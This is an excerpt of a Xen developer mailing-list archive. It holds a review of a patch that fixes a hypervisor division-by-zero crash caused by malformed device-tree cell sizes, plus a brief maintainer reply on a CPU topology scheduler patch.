 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 07:26:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi5cx-005JIp-7s
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 09:26:27 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a509e99-e002-0a2a0a5209dd-0a2a450498b2-30
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 09:26:26 +0200
Received: from [52.101.57.70]
 (helo=BN8PR05CU002.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a509ea1-b1e5-0a2a45040019-34653946a207-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 09:26:26 +0200
Received: from MN0PR03CA0024.namprd03.prod.outlook.com (2603:10b6:208:52f::32)
 by PH7PR12MB8153.namprd12.prod.outlook.com (2603:10b6:510:2b0::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.17; Fri, 10 Jul
 2026 07:26:16 +0000
Received: from BL02EPF00021F6F.namprd02.prod.outlook.com
 (2603:10b6:208:52f:cafe::1a) by MN0PR03CA0024.outlook.office365.com
 (2603:10b6:208:52f::32) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.12 via Frontend Transport; Fri,
 10 Jul 2026 07:26:16 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 BL02EPF00021F6F.mail.protection.outlook.com (10.167.249.11) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Fri, 10 Jul 2026 07:26:15 +0000
Received: from satlexmb10.amd.com (10.181.42.219) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 10 Jul
 2026 02:26:10 -0500
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb10.amd.com
 (10.181.42.219) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 10 Jul
 2026 02:24:58 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 10 Jul 2026 02:24:57 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=cQEf1V3waEXwWJfJwk0caPAhIzdZsP7Pxw7ggT5JbzB5pm56G7NYnSHnsFoUKgnHjdW59K1BVPw1GOVF7/fQdYrZwFFv1chIL+TKSHKBSHR3MzTb11sKXJuNQu2Q+nZqHCs/wW5YZUDScl/70C1m9iaMlxHpRwKeiIlSeFg6szY0S8xpZss0bSqZ4rhwEuFQamA2Qq5pfD4291ioT5LvZjK4erkDEa+CodeLQcBZ92Mf263ky4vLyzkGZLuM92DkbPiJNn2mG/yONgIwc4FUb9BOopAlAbopGtLdt+vJQLB8avvQ4RWEf9GzsIn43SHQATgFBS4kVtR6ogB/56sCoQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Eflw+MGdw9pQ5ByhNSk/Haunwsumui+1sHwnBIWyVbY=;
 b=H9EnAe7VrUC8WFX5uBXfX2vYkraQRuP6fy4t9UuPaOVEI9DoOh5a1L61t5y0UOmplVUkN5UyjxcW7qcT6/pRdC+grEaNymMn8F4kI+2CvRhDSka112DGVpsEzhlLpSV41WRPUIuykgi6tPmvuC6ZFyMCRGUytKHJsV44k59eKaAXBDB+IVPOt0MCdZ6QDBxhUpQhsH78MUJAfXUP4byBpStg/Kb8LBXWIP2FdJA2wi9RTJmMQqKHnLo4gF09OgKrK4AgY9KSAUOeJnEXHye/nw8HmcxPoguM93pTnF78Ggw/r6YG7ANUuGnht+ahE3I5Zs6m88eBFlCxpVlDmcMsLQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=epam.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Eflw+MGdw9pQ5ByhNSk/Haunwsumui+1sHwnBIWyVbY=;
 b=UxitRNyW5KhuZvWWdj5Pncf98pANvqx+XfJpfsfYNMRo1wqtieNuXiyYuCRz/e0RkC7GFA+GbFiqOBGekFJ1J07bqXYN21G1GupTmhAFrkmHuQ1U2RcZ5PQhuO7NHdR8aNOmq6zr0CsgeCiq53o2ZoDAg2eods9KlkxfTW5YtDc=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <a257b466-ce41-4073-b9dc-826059b9750d@amd.com>
Date: Fri, 10 Jul 2026 09:24:57 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22 v5] dom0less: Prevent division by zero in
 handle_passthrough_prop()
To: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>
References: <7a146536c13431933899ffffc93c85724dfbaf87.1783599357.git.dmytro_prokopchuk1@epam.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <7a146536c13431933899ffffc93c85724dfbaf87.1783599357.git.dmytro_prokopchuk1@epam.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BL02EPF00021F6F:EE_|PH7PR12MB8153:EE_
X-MS-Office365-Filtering-Correlation-Id: c973ee08-7c3c-408b-74c5-08dede548734
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|376014|1800799024|36860700016|82310400026|56012099006|11063799006|5023799004|18002099003|22082099003|3023799007|13003099007;
X-Microsoft-Antispam-Message-Info:
	7n80vIaRS4Nd5hxdcGIfrNdikPf1+ce1gKSuPGXMYnbwx+lKDa4ubbPVYZvm9CjXJh8e9d14EVckZEZvFjvU4dnqydE6lKquw8JQDoHT5MDVtgcdf5jDcoa0ZdBVxI05SQ/OwCY8a62Hnt3vYVrL3U3ZgHDy4CxJfBM8//0Z48dHwHMDC+vTSO3O3QonQk8tdDK1Agqltj8WGaCcQcudoxCz51ZnqnP+O3efQAR9oUD7B2cceDZK8ndF5ol7qQM9vrVwCm3fj1zoKaJPSDdaewUsRSstNVajQESSqMVnEdmwzGOOZGzcBK5vxBYzGReuQh85dND41WWGEYpm6WLVgSjqbJND9lNzKVdIDvWpV94brYj+vgJJt9FWIi1/99hG8RQZG8sBrAy0hA9anemdWfduIFbjLZy17LU5ojHuaqZL7m5BiLNtqLBdr5tAT+Bt4ALZ8OgLhzYd/W9Nhp/9IGjTOpovDfvhWMyJWsz+N+orTSKBXPgvHUPSL3U/HkKL3K58KgnSJH8ZoQAH1hSJP3fmqPuOYQ/r+Eyirti9CWmWc4YZTm93HRzpOktl0Pht7ib740xXr2PKxo45D8RVPyg4GsW8otFup9y+cFs11wANM+fB6LIEzogwIDC7TVZxbUXlQDPcFiFccbQL1N3/q0hRoNRVE874MEQM5RaajDJFIr+kLYJwWAIZ6JjTWEpYAgDRkzJqEwmsVIiwshO/Gw==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(23010399003)(376014)(1800799024)(36860700016)(82310400026)(56012099006)(11063799006)(5023799004)(18002099003)(22082099003)(3023799007)(13003099007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	dNpmSesGUe6DdzXP2UPcn8O4OwIfOnlLQa8HEXg+NdTcy9TcDNSjCZiKiNCcLooqpY0PncIQmbW7kNSuXUWuJEilmugeMIVyHqCwNj+tLvlrc1PfkBGXBDjtNe2zc+gCNFetcgBVvTV90VXbV7RRzxwpUVty2m1cWWd2v0e2nSWFEkPoQupt9j9EKdrcWUPB6MyKd4hZQ1K5Zhw+OwPcA1AsDP8pkimMOTx/Z3EEv6Y36PIeeEKf0zk+Vauju1o7wZ0qvZXvAbw2s3F8mmMKm0tJZZ0C0ZY1W9XJnXLwJouBqdWVcWqkJBJwsvfnb8cPlRHXywiv9c2hY2Iczp5YMBtDEMCg6Bjl4BNENmFr169QDgbbUjIQai7kj5f1+UXFqEGq1Z+2ST67Zc1+NiTe3/2jt/2XM1NryvesAsvLr1gzBv+uVMUMsfCsqOnodNo4
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 07:26:15.9821
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: c973ee08-7c3c-408b-74c5-08dede548734
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BL02EPF00021F6F.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH7PR12MB8153
X-purgate-ID: tlsNG-ebf023/1783668386-777AFFE7-437D425B/0/0
X-purgate-type: clean
X-purgate-size: 3105



On 09-Jul-26 14:31, Dmytro Prokopchuk1 wrote:
> A malformed partial DTB specifying both '#address-cells = <0>' and
> '#size-cells = <0>' causes '(address_cells * 2 + size_cells)' to
> evaluate to 0. This sum is subsequently used as a divisor when
> calculating the number of regions in the 'xen,reg' property inside
> handle_passthrough_prop():
> 
>     len = fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) *
>                                         sizeof(uint32_t));
> 
> This leads to a division by zero exception in the Xen hypervisor during
> boot, causing a hypervisor panic/crash.
> 
> Fix this by validating that both 'address_cells' and 'size_cells'
> are within the valid range of [1, 2] at the read side in scan_pfdt_node()
> immediately after they are parsed. Any invalid cell size combination is
> safely rejected early with an error message and return -EINVAL.
> 
> Fixes: 9ce974c47588 ("xen/arm: assign devices to boot domains")
> Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
> ---
> Changes in v5:
> - fixed mistakes around dprintk()
> Test CI pipeline:
> https://gitlab.com/xen-project/people/dimaprkp4k/xen/-/pipelines/2664600678
> ---
>  xen/common/device-tree/dom0less-build.c | 8 ++++++++
>  1 file changed, 8 insertions(+)
> 
> diff --git a/xen/common/device-tree/dom0less-build.c b/xen/common/device-tree/dom0less-build.c
> index eacfd93087..c054ea4e2f 100644
> --- a/xen/common/device-tree/dom0less-build.c
> +++ b/xen/common/device-tree/dom0less-build.c
> @@ -341,6 +341,14 @@ static int __init scan_pfdt_node(struct kernel_info *kinfo, const void *pfdt,
>      size_cells = device_tree_get_u32(pfdt, nodeoff, "#size-cells",
>                                       DT_ROOT_NODE_SIZE_CELLS_DEFAULT);
>  
> +    if ( (address_cells < 1) || (address_cells > 2) ||
> +         (size_cells < 1) || (size_cells > 2) )
Too many discussions yesterday... Today, I looked at the complete flow once
again and I'm sorry to say that my previous comment to move the check right at
the read side was incorrect. #address/size-cells define the number of cells for
their children and these don't need to have xen,reg. Even our passthrough
example (docs/misc/arm/passthrough.txt) defines a ethernet node with #size-cells
= <0> for its PHY child with a 1 cell reg but no xen,reg. Here, for our sanity
check, we only care that number of cells for xen,reg is either 1 or 2. 0 is a
legitimate value for nodes without xen,reg (clock nodes, SPI, GPIO, etc.).
Values above 2 i.e. 3 is PCI only which does not go through this path but still,
we should only care about nodes with xen,reg.

Therefore, please move this check at the top of handle_passthrough_prop() with a
comment below (the number of discussions about this subject is a clear
indication that a comment is needed):

/*
 * xen,reg holds flat host/guest physical addresses and sizes, so the
 * inherited #address-cells/#size-cells must each be 1 or 2. This also
 * guards the len division below against a zero or wrapped divisor.
 */

~Michal



From xen-devel-bounces@lists.xenproject.org Fri Jul 10 07:27:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 07:27:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358819.1612714 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi5e4-0000a3-6q; Fri, 10 Jul 2026 07:27:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358819.1612714; Fri, 10 Jul 2026 07:27:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi5e4-0000Zw-4J; Fri, 10 Jul 2026 07:27:36 +0000
Received: by outflank-mailman (input) for mailman id 1358819;
 Fri, 10 Jul 2026 07:27:35 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wi5e3-0000Zq-OY
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 07:27:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi5e3-00EFFq-1Z
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 09:27:35 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a509ed2-bab6-0a2a0a5309dd-0a2a45018dde-32
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 09:27:34 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a509ee6-3ea4-0a2a45010019-d155802ab8e8-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 09:27:34 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-493f45e20cdso1763965e9.2
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 00:27:34 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa039b0cesm58688382f8f.22.2026.07.10.00.27.33
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 10 Jul 2026 00:27:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783668454; x=1784273254; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=xlwexyE0dX8aaWGYxq8kKzZEVQsDGXLLnvmpWTkYmyg=;
        b=UFiUgfgOaO586w9Jnc/MwglRkGego/kLVZyV0sFOSd3bknmwKLa0bMBmaEB3uS5pJJ
         hFlB8CJboWuuKLcAhhAIZhvNz+ydjPnUb+26PuWhzKosxsIRnnlc9dHmU/9C81VjaEUK
         RKOyh5aaYpkEqNkk63xWQIOyGCyy3iv/4WGDmoOgwMiGvUJokQ/OyXr5PIbiwYPypHJe
         9whphHmRmVJK2QY4eeXNQEMvqBqpqQhJLTQMCq3p54ATDiE6lr13NnbKl/z7xyqSOltw
         HaFwBjJlxX+IeRX8Uvw/kgD1xyj5/+uChWVag6+EzCAUQfVTsxwZYCgdnw4dJjojQmhF
         S1Wg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783668454; x=1784273254;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=xlwexyE0dX8aaWGYxq8kKzZEVQsDGXLLnvmpWTkYmyg=;
        b=kQ1FxGlGjunnj7AKzrpj774QK7oL7E0FXLH+CxHeOkfmXaYU5nDc2IXU0aZAxiKhdF
         /DWFgFjXFvPB4NYFpwb2zeQXa1aUhX4V2F71oOlZKWMBgQO8UBYYMaeo4HgMeWPQnmNa
         aSM4tXcHYEkliAbnphz5d3Pa28ieYLIGLtBoYViAb4cK090Iod+iDyUUjLuKG+IINHHk
         zG+o1aLmFO0hNVXbByvoA/euGMLA7oZQg4tlaa2sojioF3qBzujCywkqmOx8kakrRPpp
         zueuyFbphZGFhCqh7qNoaz1EodPJkVEfhe4T5YmEsH9vFIpRdgYAB5W0V28QpiAOXxhT
         gyaw==
X-Forwarded-Encrypted: i=1; AHgh+Rok/C1yBNdUtPpcmFO2DCGJL4BiwkmbuSpFQfbguWs1r4Gh0E7/GM1XhrsX/ZjGrVuBdT0rVLu0Woc=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyIb+pvYlnx2fG0q3lNOtXk+KQg1Jfxrk3Sc3SA/PNRTnV8fRGg
	OFAW9gh012dWQo9yX4GjIZMBPPfS+sEK1rSZqUih2ZYrIfILc0UbH9GaR2nRNbqNu3XLkrgpazU
	rze/QhA==
X-Gm-Gg: AfdE7ckgpNOcwZQNEgGOFZV7QkHt6SX0fb/7ejy6vCcd2IzEiEEZ0EbhmiNQ8W/ODax
	kj1xTbtZAKRZn9LKuJ4+YKuvBcux89Pjnkr6x/t7aEjE23XnclhhqTyuiL0pmYvZcv8/XOqcvQn
	z1FYuVSQuFo7aFPdbl2uxxFY8gcmyFOPT2xevepwQiawpX3+K3r4nrV+Q1Zl/CH2cvF8fVQKCMa
	Rd/xvMERtLsK/hl9UH47d70hg3DNJSryEWUugKEdEpS9r1+ojlyn9MLPBHQ6pfn3ksXfY/WSdP3
	flzMVBIUKz8w3x9IILG0lqUBIIsXEiw4OWckP434Qd/IWj4H3oKxpw8H6Ejk50CK7Y91YkeXpW+
	Qn+dDJ0FvLnLWH6ESyI7tAEkZ+HKHNpah1D8EBX1aEgAKhFotRsX4UVNuQQzqiT/BkAlQsJ21ue
	iZRbqp28C6CNIMkTzyWS0VZb7FE26n/DeG7a0Hl8KIMwDjvUOZvxqzZ6anOfQfZms4vY09Zaas0
	3RW
X-Received: by 2002:a05:600c:3e0f:b0:493:9cb3:53fc with SMTP id 5b1f17b1804b1-493e7e84c21mr88909075e9.11.1783668454495;
        Fri, 10 Jul 2026 00:27:34 -0700 (PDT)
Message-ID: <0ca52731-df94-4b80-bae6-acba97aa6508@suse.com>
Date: Fri, 10 Jul 2026 09:27:33 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 2/4] xen/sched: Link CPU topology to scheduler
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Timothy Pearson <tpearson@raptorengineering.com>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Dario Faggioli <dfaggioli@suse.com>, Juergen Gross <jgross@suse.com>,
 George Dunlap <gwd@xenproject.org>, xen-devel@lists.xenproject.org
References: <20260709220552.646462-1-taka@valinux.co.jp>
 <20260709220552.646462-3-taka@valinux.co.jp>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260709220552.646462-3-taka@valinux.co.jp>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1783668454-6D0A20A8-C24D4DB4/0/0
X-purgate-type: clean
X-purgate-size: 490

On 10.07.2026 00:05, Hirokazu Takahashi wrote:
> Make CPU topology information available to the Xen scheduler.
> Additionally, ensure that this topology information is displayed
> when executing the 'xl info -n' command.
> 
> Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
> ---
> Changes in v5:
>   Corrected the erroneous use of CONFIG_CPU_TOPOLOGY to
>   CONFIG_GENERIC_CPU_TOPOLOGY.

Same here - my v4 comments weren't taken into account at all, as it looks.

Jan


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 07:56:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 07:56:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358851.1612724 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi65K-0004mW-7N; Fri, 10 Jul 2026 07:55:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358851.1612724; Fri, 10 Jul 2026 07:55:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi65K-0004mP-4j; Fri, 10 Jul 2026 07:55:46 +0000
Received: by outflank-mailman (input) for mailman id 1358851;
 Fri, 10 Jul 2026 07:55:45 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wi65I-0004mJ-Tw
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 07:55:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi65I-005zAk-Au
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 09:55:44 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a50a569-5cb7-0a2a0a5109dd-0a2a4502ab34-22
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 09:55:39 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a50a57b-64c6-0a2a45020019-d1558035c4f8-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 09:55:39 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-493bfe9f886so2914695e9.0
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 00:55:39 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa039af67sm65122642f8f.17.2026.07.10.00.55.38
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
